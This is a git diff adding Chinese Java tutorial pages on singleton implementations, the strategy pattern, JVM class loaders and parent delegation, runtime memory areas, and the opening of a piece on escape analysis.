+这种写法能够在多线程中很好的工作,而且看起来它也具备很好的延迟加载,但是,遗憾的是,他效率很低,因为99%情况下不需要同步。(因为上面的`synchronized`的加锁范围是整个方法,该方法的所有操作都是同步进行的,但是对于非第一次创建对象的情况,也就是没有进入`if`语句中的情况,根本不需要同步操作,可以直接返回`instance`。)
+
+### 双重校验锁
+
+针对上面code 6存在的问题,相信对并发编程了解的同学都知道如何解决。其实上面的代码存在的问题主要是锁的范围太大了。只要缩小锁的范围就可以了。那么如何缩小锁的范围呢?相比于同步方法,同步代码块的加锁范围更小。code 6可以改造成:
+
+ //code 7
+ public class Singleton {
+
+ private static Singleton singleton;
+
+ private Singleton() {
+ }
+
+ public static Singleton getSingleton() {
+ if (singleton == null) {
+ synchronized (Singleton.class) {
+ if (singleton == null) {
+ singleton = new Singleton();
+ }
+ }
+ }
+ return singleton;
+ }
+ }
+
+
+code 7是对于code 6的一种改进写法,通过使用同步代码块的方式减小了锁的范围。这样可以大大提高效率。(对于已经存在`singleton`的情况,无须同步,直接return)。
+
+但是,事情这的有这么容易吗?上面的代码看上去好像是没有任何问题。实现了惰性初始化,解决了同步问题,还减小了锁的范围,提高了效率。但是,该代码还存在隐患。隐患的原因主要和[Java内存模型(JMM][7])有关。考虑下面的事件序列:
+
+> 线程A发现变量没有被初始化, 然后它获取锁并开始变量的初始化。
+>
+> 由于某些编程语言的语义,编译器生成的代码允许在线程A执行完变量的初始化之前,更新变量并将其指向部分初始化的对象。
+>
+> 线程B发现共享变量已经被初始化,并返回变量。由于线程B确信变量已被初始化,它没有获取锁。如果在A完成初始化之前共享变量对B可见(这是由于A没有完成初始化或者因为一些初始化的值还没有穿过B使用的内存(缓存一致性)),程序很可能会崩溃。
+
+(上面的例子不太能理解的同学,请恶补JAVA内存模型相关知识)
+
+在[J2SE 1.4][8]或更早的版本中使用双重检查锁有潜在的危险,有时会正常工作(区分正确实现和有小问题的实现是很困难的。取决于编译器,线程的调度和其他并发系统活动,不正确的实现双重检查锁导致的异常结果可能会间歇性出现。重现异常是十分困难的。) 在[J2SE 5.0][8]中,这一问题被修正了。[volatile][9]关键字保证多个线程可以正确处理单件实例
+
+所以,针对code 7 ,可以有code 8 和code 9两种替代方案:
+
+使用`volatile`
+
+ //code 8
+ public class VolatileSingleton {
+ private static volatile VolatileSingleton singleton;
+
+ private VolatileSingleton() {
+ }
+
+ public static VolatileSingleton getSingleton() {
+ if (singleton == null) {
+ synchronized (VolatileSingleton.class) {
+ if (singleton == null) {
+ singleton = new VolatileSingleton();
+ }
+ }
+ }
+ return singleton;
+ }
+ }
+
+
+**上面这种双重校验锁的方式用的比较广泛,他解决了前面提到的所有问题。**但是,即使是这种看上去完美无缺的方式也可能存在问题,那就是遇到序列化的时候。详细内容后文介绍。
+
+使用`final`
+
+ //code 9
+ class FinalWrapper {
+ public final T value;
+
+ public FinalWrapper(T value) {
+ this.value = value;
+ }
+ }
+
+ public class FinalSingleton {
+ private FinalWrapper helperWrapper = null;
+
+ public FinalSingleton getHelper() {
+ FinalWrapper wrapper = helperWrapper;
+
+ if (wrapper == null) {
+ synchronized (this) {
+ if (helperWrapper == null) {
+ helperWrapper = new FinalWrapper(new FinalSingleton());
+ }
+ wrapper = helperWrapper;
+ }
+ }
+ return wrapper.value;
+ }
+ }
+
+
+### 枚举式
+
+在1.5之前,实现单例一般只有以上几种办法,在1.5之后,还有另外一种实现单例的方式,那就是使用枚举:
+
+ // code 10
+ public enum Singleton {
+
+ INSTANCE;
+ Singleton() {
+ }
+ }
+
+
+这种方式是[Effective Java][10]作者`Josh Bloch` 提倡的方式,它不仅能避免多线程同步问题,而且还能防止反序列化重新创建新的对象(下面会介绍),可谓是很坚强的壁垒啊,在深度分析Java的枚举类型—-枚举的线程安全性及序列化问题中有详细介绍枚举的线程安全问题和序列化问题,不过,个人认为由于1.5中才加入`enum`特性,用这种方式写不免让人感觉生疏,在实际工作中,我也很少看见有人这么写过,但是不代表他不好。
+
+## 单例与序列化
+
+在[单例与序列化的那些事儿][11]一文中,[Hollis][12]就分析过单例和序列化之前的关系——序列化可以破坏单例。要想防止序列化对单例的破坏,只要在`Singleton`类中定义`readResolve`就可以解决该问题:
+
+ //code 11
+ package com.hollis;
+ import java.io.Serializable;
+ /**
+ * Created by hollis on 16/2/5.
+ * 使用双重校验锁方式实现单例
+ */
+ public class Singleton implements Serializable{
+ private volatile static Singleton singleton;
+ private Singleton (){}
+ public static Singleton getSingleton() {
+ if (singleton == null) {
+ synchronized (Singleton.class) {
+ if (singleton == null) {
+ singleton = new Singleton();
+ }
+ }
+ }
+ return singleton;
+ }
+
+ private Object readResolve() {
+ return singleton;
+ }
+ }
+
+
+## 总结
+
+本文中介绍了几种实现单例的方法,主要包括饿汉、懒汉、使用静态内部类、双重校验锁、枚举等。还介绍了如何防止序列化破坏类的单例性。
+
+从单例的实现中,我们可以发现,一个简单的单例模式就能涉及到这么多知识。在不断完善的过程中可以了解并运用到更多的知识。所谓学无止境。
+
+**文中所有代码见[GitHub][13]**
+
+## 参考资料
+
+[单例模式的七种写法][14]
+
+[双重检查锁定模式][15]
+
+[深入浅出设计模式][16]
+
+[单例模式][17]
+
+ [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F
+ [2]: http://www.hollischuang.com/archives/1368
+ [3]: http://s.click.taobao.com/t?e=m%3D2%26s%3DT5l23XuxzMIcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67sqCcISrC8hOF%2FSaKyaJTUZpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZhtlrJbLMDAQihpQCXu2JnMU7C4KV%2Fo0CcYMXU3NNCg%2F&pvid=10_42.120.73.203_2589754_1459955095482
+ [4]: http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160406-0.png
+ [5]: http://www.hollischuang.com/archives/197
+ [6]: http://www.hollischuang.com/archives/201
+ [7]: http://www.hollischuang.com/archives/1003
+ [8]: https://zh.wikipedia.org/wiki/Java_SE
+ [9]: https://zh.wikipedia.org/wiki/Volatile%E5%8F%98%E9%87%8F
+ [10]: http://s.click.taobao.com/t?e=m=2&s=ix/dAcrx42AcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67vbkYfk%2bHavVTHm2guh0YLtpS4hLH/P02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZtVr9sOV2MxmP1RxEmSieVPs8Gq%2bZDw%2bWcYMXU3NNCg/&pvid=10_42.120.73.203_425_1459957079215
+ [11]: http://www.hollischuang.com/archives/1144
+ [12]: http://www.hollischuang.com
+ [13]: https://github.com/hollischuang/DesignPattern
+ [14]: http://www.hollischuang.com/archives/205
+ [15]: https://zh.wikipedia.org/wiki/%E5%8F%8C%E9%87%8D%E6%A3%80%E6%9F%A5%E9%94%81%E5%AE%9A%E6%A8%A1%E5%BC%8F
+ [16]: http://s.click.taobao.com/t?e=m%3D2%26s%3Detkt7EP2O5scQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67nWAf3rZA5A%2FrumJQoe%2FxcNpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXTpkOAWGyim%2Bw2PNKvM2u52N5aP5%2Bgx7zgh4LxdBQDQSXEqY%2Bakgpmw&pvid=10_42.120.73.203_1238_1459955035603
+ [17]: http://www.runoob.com/design-pattern/singleton-pattern.html
\ No newline at end of file
diff --git a/docs/advance/design-patterns/strategy-pattern.md b/docs/advance/design-patterns/strategy-pattern.md
new file mode 100644
index 00000000..7ef203f8
--- /dev/null
+++ b/docs/advance/design-patterns/strategy-pattern.md
@@ -0,0 +1,202 @@
+
+## 概念
+
+学习过设计模式的人大概都知道[Head First设计模式][2]这本书,这本书中介绍的第一个模式就是策略模式。把策略模式放在第一个,笔者认为主要有两个原因:1、这的确是一个比较简单的模式。2、这个模式可以充分的体现面向对象设计原则中的`封装变化`、`多用组合,少用继承`、`针对接口编程,不针对实现编程`等原则。
+
+> 策略模式(Strategy Pattern):定义一系列算法,将每一个算法封装起来,并让它们可以相互替换。策略模式让算法独立于使用它的客户而变化,也称为政策模式(Policy)。
+
+## 用途
+
+结合策略模式的概念,我们找一个实际的场景来理解一下。
+
+假设我们是一家新开的书店,为了招揽顾客,我们推出会员服务,我们把店里的会员分为三种,分别是初级会员、中级会员和高级会员。针对不同级别的会员我们给予不同的优惠。初级会员买书我们不打折、中级会员买书我们打九折、高级会员买书我们打八折。
+
+[ ][3] 我们希望用户在付款的时候,只要刷一下书的条形码,会员再刷一下他的会员卡,收银台的工组人员就能直接知道应该向顾客收取多少钱。
+
+在不使用模式的情况下,我们可以在结算的方法中使用`if/else`语句来区别出不同的会员来计算价格。
+
+但是,如果我们有一天想要把初级会员的折扣改成9.8折怎么办?有一天我要推出超级会员怎么办?有一天我要针对中级会员可打折的书的数量做限制怎么办?
+
+使用`if\else`设计出来的系统,所有的算法都写在了一起,只要有改动我就要修改整个类。我们都知道,只要是修改代码就有可能引入问题。为了避免这个问题,我们可以使用策略模式。。。
+
+> 对于收银台系统,计算应收款的时候,一个客户只可能是初级、中级、高级会员中的一种。不同的会员使用不同的算法来计算价格。收银台系统其实不关心具体的会员类型和折扣之间的关系。也不希望会员和折扣之间的任何改动会影响到收银台系统。
+
+在介绍策略模式的具体实现方式之前,再来巩固一下几个面向对象设计原则:`封装变化`、`多用组合,少用继承`、`针对接口编程,不针对实现编程`。想一想如何运用到策略模式中,并且有什么好处。
+
+## 实现方式
+
+策略模式包含如下角色:
+
+> Context: 环境类
+>
+> Strategy: 抽象策略类
+>
+> ConcreteStrategy: 具体策略类
+
+[ ][4]
+
+我们运用策略模式来实现一下书店的收银台系统。我们可以把会员抽象成一个策略类,不同的会员类型是具体的策略类。不同策略类里面实现了计算价格这一算法。然后通过组合的方式把会员集成到收银台中。
+
+先定义一个接口,这个接口就是抽象策略类,该接口定义了计算价格方法,具体实现方式由具体的策略类来定义。
+
+ /**
+ * Created by hollis on 16/9/19. 会员接口
+ */
+ public interface Member {
+
+ /**
+ * 计算应付价格
+ * @param bookPrice 书籍原价(针对金额,建议使用BigDecimal,double会损失精度)
+ * @return 应付金额
+ */
+ public double calPrice(double bookPrice);
+ }
+
+
+针对不同的会员,定义三种具体的策略类,每个类中都分别实现计算价格方法。
+
+ /**
+ * Created by hollis on 16/9/19. 初级会员
+ */
+ public class PrimaryMember implements Member {
+
+ @Override
+ public double calPrice(double bookPrice) {
+ System.out.println("对于初级会员的没有折扣");
+ return bookPrice;
+ }
+ }
+
+
+ /**
+ * Created by hollis on 16/9/19. 中级会员,买书打九折
+ */
+ public class IntermediateMember implements Member {
+
+ @Override
+ public double calPrice(double bookPrice) {
+ System.out.println("对于中级会员的折扣为10%");
+ return bookPrice * 0.9;
+ }
+ }
+
+
+ /**
+ * Created by hollis on 16/9/19. 高级会员,买书打八折
+ */
+ public class AdvancedMember implements Member {
+
+ @Override
+ public double calPrice(double bookPrice) {
+ System.out.println("对于高级会员的折扣为20%");
+ return bookPrice * 0.8;
+ }
+ }
+
+
+上面几个类的定义体现了`封装变化`的设计原则,不同会员的具体折扣方式改变不会影响到其他的会员。
+
+定义好了抽象策略类和具体策略类之后,我们再来定义环境类,所谓环境类,就是集成算法的类。这个例子中就是收银台系统。采用组合的方式把会员集成进来。
+
+ /**
+ * Created by hollis on 16/9/19. 书籍价格类
+ */
+ public class Cashier {
+
+ /**
+ * 会员,策略对象
+ */
+ private Member member;
+
+ public Cashier(Member member){
+ this.member = member;
+ }
+
+ /**
+ * 计算应付价格
+ * @param booksPrice
+ * @return
+ */
+ public double quote(double booksPrice) {
+ return this.member.calPrice(booksPrice);
+ }
+ }
+
+
+这个Cashier类就是一个环境类,该类的定义体现了`多用组合,少用继承`、`针对接口编程,不针对实现编程`两个设计原则。由于这里采用了组合+接口的方式,后面我们在推出超级会员的时候无须修改Cashier类。只要再定义一个`SuperMember implements Member` 就可以了。
+
+下面定义一个客户端来测试一下:
+
+ /**
+ * Created by hollis on 16/9/19.
+ */
+ public class BookStore {
+
+ public static void main(String[] args) {
+
+ //选择并创建需要使用的策略对象
+ Member strategy = new AdvancedMember();
+ //创建环境
+ Cashier cashier = new Cashier(strategy);
+ //计算价格
+ double quote = cashier.quote(300);
+ System.out.println("高级会员图书的最终价格为:" + quote);
+
+ strategy = new IntermediateMember();
+ cashier = new Cashier(strategy);
+ quote = cashier.quote(300);
+ System.out.println("中级会员图书的最终价格为:" + quote);
+ }
+ }
+
+ //对于高级会员的折扣为20%
+ //高级会员图书的最终价格为:240.0
+ //对于中级会员的折扣为10%
+ //中级会员图书的最终价格为:270.0
+
+
+从上面的示例可以看出,策略模式仅仅封装算法,提供新的算法插入到已有系统中,策略模式并不决定在何时使用何种算法。在什么情况下使用什么算法是由客户端决定的。
+
+* 策略模式的重心
+
+ * 策略模式的重心不是如何实现算法,而是如何组织、调用这些算法,从而让程序结构更灵活,具有更好的维护性和扩展性。
+
+* 算法的平等性
+
+ * 策略模式一个很大的特点就是各个策略算法的平等性。对于一系列具体的策略算法,大家的地位是完全一样的,正因为这个平等性,才能实现算法之间可以相互替换。所有的策略算法在实现上也是相互独立的,相互之间是没有依赖的。
+
+ * 所以可以这样描述这一系列策略算法:策略算法是相同行为的不同实现。
+
+* 运行时策略的唯一性
+
+ * 运行期间,策略模式在每一个时刻只能使用一个具体的策略实现对象,虽然可以动态地在不同的策略实现中切换,但是同时只能使用一个。
+
+* 公有的行为
+
+ * 经常见到的是,所有的具体策略类都有一些公有的行为。这时候,就应当把这些公有的行为放到共同的抽象策略角色Strategy类里面。当然这时候抽象策略角色必须要用Java抽象类实现,而不能使用接口。([《JAVA与模式》之策略模式][5])
+
+## 策略模式的优缺点
+
+### 优点
+
+* 策略模式提供了对“开闭原则”的完美支持,用户可以在不修改原有系统的基础上选择算法或行为,也可以灵活地增加新的算法或行为。
+* 策略模式提供了管理相关的算法族的办法。策略类的等级结构定义了一个算法或行为族。恰当使用继承可以把公共的代码移到父类里面,从而避免代码重复。
+* 使用策略模式可以避免使用多重条件(if-else)语句。多重条件语句不易维护,它把采取哪一种算法或采取哪一种行为的逻辑与算法或行为的逻辑混合在一起,统统列在一个多重条件语句里面,比使用继承的办法还要原始和落后。
+
+### 缺点
+
+* 客户端必须知道所有的策略类,并自行决定使用哪一个策略类。这就意味着客户端必须理解这些算法的区别,以便适时选择恰当的算法类。
+* 由于策略模式把每个具体的策略实现都单独封装成为类,如果备选的策略很多的话,那么对象的数目就会很可观。可以通过使用享元模式在一定程度上减少对象的数量。
+
+文中所有代码见[GitHub][6]
+
+## 参考资料
+
+[《JAVA与模式》之策略模式][5]
+
+ [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F
+ [2]: http://s.click.taobao.com/DxA2xSx
+ [3]: http://www.hollischuang.com/wp-content/uploads/2016/09/bookstore.jpg
+ [4]: http://www.hollischuang.com/wp-content/uploads/2016/09/Strategy.jpg
+ [5]: http://www.cnblogs.com/java-my-life/archive/2012/05/10/2491891.html
+ [6]: https://github.com/hollischuang/DesignPattern
\ No newline at end of file
diff --git a/docs/basement/jvm/break-parants-delegate.md b/docs/basement/jvm/break-parants-delegate.md
new file mode 100644
index 00000000..4a31d080
--- /dev/null
+++ b/docs/basement/jvm/break-parants-delegate.md
@@ -0,0 +1,3 @@
+知道了双亲委派模型的实现,那么想要破坏双亲委派机制就很简单了。
+
+因为他的双亲委派过程都是在loadClass方法中实现的,那么想要破坏这种机制,那么就自定义一个类加载器,重写其中的loadClass方法,使其不进行双亲委派即可。
\ No newline at end of file
diff --git a/docs/basement/jvm/define-class-loader.md b/docs/basement/jvm/define-class-loader.md
new file mode 100644
index 00000000..d0133017
--- /dev/null
+++ b/docs/basement/jvm/define-class-loader.md
@@ -0,0 +1,29 @@
+ClassLoader中和类加载有关的方法有很多,前面提到了loadClass,除此之外,还有findClass和defineClass等,那么这几个方法有什么区别呢?
+
+* loadClass()
+ * 就是主要进行类加载的方法,默认的双亲委派机制就实现在这个方法中。
+* findClass()
+ * 根据名称或位置加载.class字节码
+* definclass()
+ * 把字节码转化为Class
+
+这里面需要展开讲一下loadClass和findClass,我们前面说过,当我们想要自定义一个类加载器的时候,并且像破坏双亲委派原则时,我们会重写loadClass方法。
+
+那么,如果我们想定义一个类加载器,但是不想破坏双亲委派模型的时候呢?
+
+这时候,就可以继承ClassLoader,并且重写findClass方法。findClass()方法是JDK1.2之后的ClassLoader新添加的一个方法。
+
+ /**
+ * @since 1.2
+ */
+ protected Class> findClass(String name) throws ClassNotFoundException {
+ throw new ClassNotFoundException(name);
+ }
+
+这个方法只抛出了一个异常,没有默认实现。
+
+JDK1.2之后已不再提倡用户直接覆盖loadClass()方法,而是建议把自己的类加载逻辑实现到findClass()方法中。
+
+因为在loadClass()方法的逻辑里,如果父类加载器加载失败,则会调用自己的findClass()方法来完成加载。
+
+所以,如果你想定义一个自己的类加载器,并且要遵守双亲委派模型,那么可以继承ClassLoader,并且在findClass中实现你自己的加载逻辑即可。
\ No newline at end of file
diff --git a/docs/basement/jvm/exclusive-in-runtime-area.md b/docs/basement/jvm/exclusive-in-runtime-area.md
new file mode 100644
index 00000000..b0332c5e
--- /dev/null
+++ b/docs/basement/jvm/exclusive-in-runtime-area.md
@@ -0,0 +1,3 @@
+在JVM运行时内存区域中,PC寄存器、虚拟机栈和本地方法栈是线程独享的。
+
+而Java堆、方法区是线程共享的。但是值得注意的是,Java堆其实还未每一个线程单独分配了一块TLAB空间,这部分空间在分配时是线程独享的,在使用时是线程共享的。
\ No newline at end of file
diff --git a/docs/basement/jvm/implements-of-parents-delegate.md b/docs/basement/jvm/implements-of-parents-delegate.md
new file mode 100644
index 00000000..d46750e6
--- /dev/null
+++ b/docs/basement/jvm/implements-of-parents-delegate.md
@@ -0,0 +1,51 @@
+双亲委派模型对于保证Java程序的稳定运作很重要,但它的实现并不复杂。
+
+实现双亲委派的代码都集中在java.lang.ClassLoader的loadClass()方法之中:
+
+ protected Class> loadClass(String name, boolean resolve)
+ throws ClassNotFoundException
+ {
+ synchronized (getClassLoadingLock(name)) {
+ // First, check if the class has already been loaded
+ Class> c = findLoadedClass(name);
+ if (c == null) {
+ long t0 = System.nanoTime();
+ try {
+ if (parent != null) {
+ c = parent.loadClass(name, false);
+ } else {
+ c = findBootstrapClassOrNull(name);
+ }
+ } catch (ClassNotFoundException e) {
+ // ClassNotFoundException thrown if class not found
+ // from the non-null parent class loader
+ }
+
+ if (c == null) {
+ // If still not found, then invoke findClass in order
+ // to find the class.
+ long t1 = System.nanoTime();
+ c = findClass(name);
+
+ // this is the defining class loader; record the stats
+ sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
+ sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
+ sun.misc.PerfCounter.getFindClasses().increment();
+ }
+ }
+ if (resolve) {
+ resolveClass(c);
+ }
+ return c;
+ }
+ }
+
+代码不难理解,主要就是以下几个步骤:
+
+1、先检查类是否已经被加载过
+
+2、若没有加载则调用父加载器的loadClass()方法进行加载
+
+3、若父加载器为空则默认使用启动类加载器作为父加载器。
+
+4、如果父类加载失败,抛出ClassNotFoundException异常后,再调用自己的findClass()方法进行加载。
\ No newline at end of file
diff --git a/basics/jvm/java-memory-model.md b/docs/basement/jvm/java-memory-model.md
similarity index 100%
rename from basics/jvm/java-memory-model.md
rename to docs/basement/jvm/java-memory-model.md
diff --git a/docs/basement/jvm/moduler.md b/docs/basement/jvm/moduler.md
new file mode 100644
index 00000000..11eea7b7
--- /dev/null
+++ b/docs/basement/jvm/moduler.md
@@ -0,0 +1,39 @@
+近几年模块化技术已经很成熟了,在JDK 9中已经应用了模块化的技术。
+
+其实早在JDK 9之前,OSGI这种框架已经是模块化的了,**而OSGI之所以能够实现模块热插拔和模块内部可见性的精准控制都归结于其特殊的类加载机制,加载器之间的关系不再是双亲委派模型的树状结构,而是发展成复杂的网状结构。**
+
+
+
+**在JDK中,双亲委派也不是绝对的了。**
+
+在JDK9之前,JVM的基础类以前都是在rt.jar这个包里,这个包也是JRE运行的基石。
+
+这不仅是违反了单一职责原则,同样程序在编译的时候会将很多无用的类也一并打包,造成臃肿。
+
+**在JDK9中,整个JDK都基于模块化进行构建,以前的rt.jar, tool.jar被拆分成数十个模块,编译的时候只编译实际用到的模块,同时各个类加载器各司其职,只加载自己负责的模块。**
+
+ Class> c = findLoadedClass(cn);
+ if (c == null) {
+ // 找到当前类属于哪个模块
+ LoadedModule loadedModule = findLoadedModule(cn);
+ if (loadedModule != null) {
+ //获取当前模块的类加载器
+ BuiltinClassLoader loader = loadedModule.loader();
+ //进行类加载
+ c = findClassInModuleOrNull(loadedModule, cn);
+ } else {
+ // 找不到模块信息才会进行双亲委派
+ if (parent != null) {
+ c = parent.loadClassOrNull(cn);
+ }
+ }
+ }
+
+
+### 总结
+
+以上,从什么是双亲委派,到如何实现与破坏双亲委派,又从破坏双亲委派的示例等多个方面全面介绍了关于双亲委派的知识。
+
+相信通过学习本文,你一定对双亲委派机制有了更加深刻的了解。
+
+阅读过本文之后,反手在简历上写下:熟悉Java的类加载机制,不服来问!
\ No newline at end of file
diff --git a/docs/basement/jvm/parents-delegate.md b/docs/basement/jvm/parents-delegate.md
new file mode 100644
index 00000000..876a66e2
--- /dev/null
+++ b/docs/basement/jvm/parents-delegate.md
@@ -0,0 +1,30 @@
+虚拟机在加载类的过程中需要使用类加载器进行加载,而在Java中,类加载器有很多,那么当JVM想要加载一个.class文件的时候,到底应该由哪个类加载器加载呢?
+
+这就不得不提到”双亲委派机制”。
+
+首先,我们需要知道的是,Java语言系统中支持以下4种类加载器:
+
+
+* Bootstrap ClassLoader 启动类加载器
+* Extention ClassLoader 标准扩展类加载器
+* Application ClassLoader 应用类加载器
+* User ClassLoader 用户自定义类加载器
+
+这四种类加载器之间,是存在着一种层次关系的,如下图
+
+
+
+一般认为上一层加载器是下一层加载器的父加载器,那么,除了BootstrapClassLoader之外,所有的加载器都是有父加载器的。
+
+那么,所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。
+
+那么,什么情况下父加载器会无法加载某一个类呢?
+
+其实,Java中提供的这四种类型的加载器,是有各自的职责的:
+
+* Bootstrap ClassLoader ,主要负责加载Java核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。
+* Extention ClassLoader,主要负责加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。
+* Application ClassLoader ,主要负责加载当前应用的classpath下的所有类
+* User ClassLoader , 用户自定义的类加载器,可加载指定路径的class文件
+
+那么也就是说,一个用户自定义的类,如com.hollis.ClassHollis 是无论如何也不会被Bootstrap和Extention加载器加载的。
\ No newline at end of file
diff --git a/docs/basement/jvm/relation-with-parents-delegate.md b/docs/basement/jvm/relation-with-parents-delegate.md
new file mode 100644
index 00000000..dd71242e
--- /dev/null
+++ b/docs/basement/jvm/relation-with-parents-delegate.md
@@ -0,0 +1,12 @@
+很多人看到父加载器、子加载器这样的名字,就会认为Java中的类加载器之间存在着继承关系。
+
+甚至网上很多文章也会有类似的错误观点。
+
+这里需要明确一下,双亲委派模型中,类加载器之间的父子关系一般不会以继承(Inheritance)的关系来实现,而是都使用组合(Composition)关系来复用父加载器的代码的。
+
+如下为ClassLoader中父加载器的定义:
+
+ public abstract class ClassLoader {
+ // The parent class loader for delegation
+ private final ClassLoader parent;
+ }
\ No newline at end of file
diff --git a/docs/basement/jvm/runtime-area.md b/docs/basement/jvm/runtime-area.md
new file mode 100644
index 00000000..69a2115a
--- /dev/null
+++ b/docs/basement/jvm/runtime-area.md
@@ -0,0 +1,25 @@
+Java虚拟机在执行Java程序的过程中会把他所管理的内存划分为若干个不同的数据区域。《Java虚拟机规范》中规定了JVM所管理的内存需要包括一下几个运行时区域:
+
+
+
+主要包含了PC寄存器(程序计数器)、Java虚拟机栈、本地方法栈、Java堆、方法区以及运行时常量池。
+
+
+
+1、以上是Java虚拟机规范,不同的虚拟机实现会各有不同,但是一般会遵守规范。
+
+2、规范中定义的方法区,只是一种概念上的区域,并说明了其应该具有什么功能。但是并没有规定这个区域到底应该处于何处。所以,对于不同的虚拟机实现来说,是由一定的自由度的。
+
+3、不同版本的方法区所处位置不同,上图中划分的是逻辑区域,并不是绝对意义上的物理区域。因为某些版本的JDK中方法区其实是在堆中实现的。
+
+4、运行时常量池用于存放编译期生成的各种字面量和符号应用。但是,Java语言并不要求常量只有在编译期才能产生。比如在运行期,String.intern也会把新的常量放入池中。
+
+5、除了以上介绍的JVM运行时内存外,还有一块内存区域可供使用,那就是直接内存。Java虚拟机规范并没有定义这块内存区域,所以他并不由JVM管理,是利用本地方法库直接在堆外申请的内存区域。
+
+6、堆和栈的数据划分也不是绝对的,如HotSpot的JIT会针对对象分配做相应的优化。
+
+如上,做个总结,JVM内存结构,由Java虚拟机规范定义。描述的是Java程序执行过程中,由JVM管理的不同数据区域。各个区域有其特定的功能。
+
+
+但是,需要注意的是,上面的区域划分只是逻辑区域,对于有些区域的限制是比较松的,所以不同的虚拟机厂商在实现上,甚至是同一款虚拟机的不同版本也是不尽相同的。
+
diff --git a/docs/basement/jvm/sample-of-break-parents-delegate.md b/docs/basement/jvm/sample-of-break-parents-delegate.md
new file mode 100644
index 00000000..ab9f627d
--- /dev/null
+++ b/docs/basement/jvm/sample-of-break-parents-delegate.md
@@ -0,0 +1,14 @@
+双亲委派机制的破坏不是什么稀奇的事情,很多框架、容器等都会破坏这种机制来实现某些功能。
+
+*第一种被破坏的情况是在双亲委派出现之前。*
+
+由于双亲委派模型是在JDK1.2之后才被引入的,而在这之前已经有用户自定义类加载器在用了。所以,这些是没有遵守双亲委派原则的。
+
+*第二种,是JNDI、JDBC等需要加载SPI接口实现类的情况。*
+
+*第三种是为了实现热插拔热部署工具。*为了让代码动态生效而无需重启,实现方式时把模块连同类加载器一起换掉就实现了代码的热替换。
+
+*第四种时tomcat等web容器的出现。*
+
+*第五种时OSGI、Jigsaw等模块化技术的应用。*
+
diff --git a/docs/basement/jvm/spi-parents-delegate.md b/docs/basement/jvm/spi-parents-delegate.md
new file mode 100644
index 00000000..b620a1f0
--- /dev/null
+++ b/docs/basement/jvm/spi-parents-delegate.md
@@ -0,0 +1,35 @@
+我们日常开发中,大多数时候会通过API的方式调用Java提供的那些基础类,这些基础类时被Bootstrap加载的。
+
+但是,调用方式除了API之外,还有一种SPI的方式。
+
+如典型的JDBC服务,我们通常通过以下方式创建数据库连接:
+
+ Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/mysql", "root", "1234");
+
+
+在以上代码执行之前,DriverManager会先被类加载器加载,因为java.sql.DriverManager类是位于rt.jar下面的 ,所以他会被根加载器加载。
+
+类加载时,会执行该类的静态方法。其中有一段关键的代码是:
+
+ ServiceLoader loadedDrivers = ServiceLoader.load(Driver.class);
+
+
+这段代码,会尝试加载classpath下面的所有实现了Driver接口的实现类。
+
+那么,问题就来了。
+
+**DriverManager是被根加载器加载的,那么在加载时遇到以上代码,会尝试加载所有Driver的实现类,但是这些实现类基本都是第三方提供的,根据双亲委派原则,第三方的类不能被根加载器加载。**
+
+那么,怎么解决这个问题呢?
+
+于是,就**在JDBC中通过引入ThreadContextClassLoader(线程上下文加载器,默认情况下是AppClassLoader)的方式破坏了双亲委派原则。**
+
+我们深入到ServiceLoader.load方法就可以看到:
+
+ public static ServiceLoader load(Class service) {
+ ClassLoader cl = Thread.currentThread().getContextClassLoader();
+ return ServiceLoader.load(service, cl);
+ }
+
+
+第一行,获取当前线程的线程上下⽂类加载器 AppClassLoader,⽤于加载 classpath 中的具体实现类。
\ No newline at end of file
diff --git a/docs/basement/jvm/stack-alloc.md b/docs/basement/jvm/stack-alloc.md
new file mode 100644
index 00000000..eb00b219
--- /dev/null
+++ b/docs/basement/jvm/stack-alloc.md
@@ -0,0 +1,166 @@
+### JVM内存分配策略
+
+关于JVM的内存结构及内存分配方式,不是本文的重点,这里只做简单回顾。以下是我们知道的一些常识:
+
+1、根据Java虚拟机规范,Java虚拟机所管理的内存包括方法区、虚拟机栈、本地方法栈、堆、程序计数器等。
+
+2、我们通常认为JVM中运行时数据存储包括堆和栈。这里所提到的栈其实指的是虚拟机栈,或者说是虚拟栈中的局部变量表。
+
+3、栈中存放一些基本类型的变量数据(int/short/long/byte/float/double/Boolean/char)和对象引用。
+
+4、堆中主要存放对象,即通过new关键字创建的对象。
+
+5、数组引用变量是存放在栈内存中,数组元素是存放在堆内存中。
+
+在《深入理解Java虚拟机中》关于Java堆内存有这样一段描述:
+
+但是,随着JIT编译期的发展与逃逸分析技术逐渐成熟,栈上分配、标量替换优化技术将会导致一些微妙的变化,所有的对象都分配到堆上也渐渐变得不那么“绝对”了。
+
+这里只是简单提了一句,并没有深入分析,很多人看到这里由于对JIT、逃逸分析等技术不了解,所以也无法真正理解上面这段话的含义。
+
+**PS:这里默认大家都了解什么是JIT,不了解的朋友可以先自行Google了解下,或者加入我的知识星球,阅读那篇球友专享文章。**
+
+其实,在编译期间,JIT会对代码做很多优化。其中有一部分优化的目的就是减少内存堆分配压力,其中一种重要的技术叫做**逃逸分析**。
+
+### 逃逸分析
+
